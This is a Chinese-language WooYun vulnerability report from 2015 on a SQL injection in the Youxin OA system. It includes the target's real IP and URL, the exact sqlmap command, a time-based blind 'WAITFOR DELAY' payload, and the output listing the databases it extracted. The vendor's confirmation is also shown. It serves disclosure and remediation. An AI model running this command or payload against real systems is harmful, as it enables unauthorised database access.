当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149856

漏洞标题:优信OA系统sql注射

相关厂商:xin.com

漏洞作者: 路人甲

提交时间:2015-10-27 16:22

修复时间:2015-12-11 17:34

公开时间:2015-12-11 17:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-11-06: 细节向核心白帽子及相关领域专家公开
2015-11-16: 细节向普通白帽子公开
2015-11-26: 细节向实习白帽子公开
2015-12-11: 细节向公众公开

简要描述:

优信OA系统sql注射

详细说明:

优信OA系统sql注射
链接:https://111.200.229.205/page/maint/login/Page.jsp?templateId=18

231.png

漏洞证明:

sqlmap -u "https://111.200.229.205/page/maint/login/Page.jsp?templateId=18" --dbs --delay 2
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150724}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:41:50
[14:41:50] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:41:50] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: templateId (GET)
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: templateId=18 WAITFOR DELAY '0:0:5'
---
[14:41:56] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[14:41:56] [INFO] fetching database names
[14:41:56] [INFO] fetching number of databases
[14:41:56] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[14:43:26] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[14:43:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:43:31] [ERROR] unable to retrieve the number of databases
[14:43:31] [INFO] resumed: ecology
[14:43:31] [INFO] resumed: master
[14:43:31] [INFO] resumed: tempdb
[14:43:31] [INFO] resumed: model
[14:43:31] [INFO] resumed: msdb
[14:43:31] [INFO] resumed: ReportServer
[14:43:31] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
ReportServer
[14:53:04] [ERROR] invalid character detected. retrying..
[14:53:04] [WARNING] increasing time delay to 6 seconds
TempD
[14:57:40] [ERROR] invalid character detected. retrying..
[14:57:40] [WARNING] increasing time delay to 7 seconds
B
[14:58:36] [INFO] retrieved: ecology
[15:04:58] [INFO] retrieved: EHR
[15:07:54] [INFO] retrieved:
available databases [8]:
[*] ecology
[*] EHR\x02
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb

修复方案:

参数过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-27 17:33

厂商回复:

非常感谢您的反馈!

最新状态:

暂无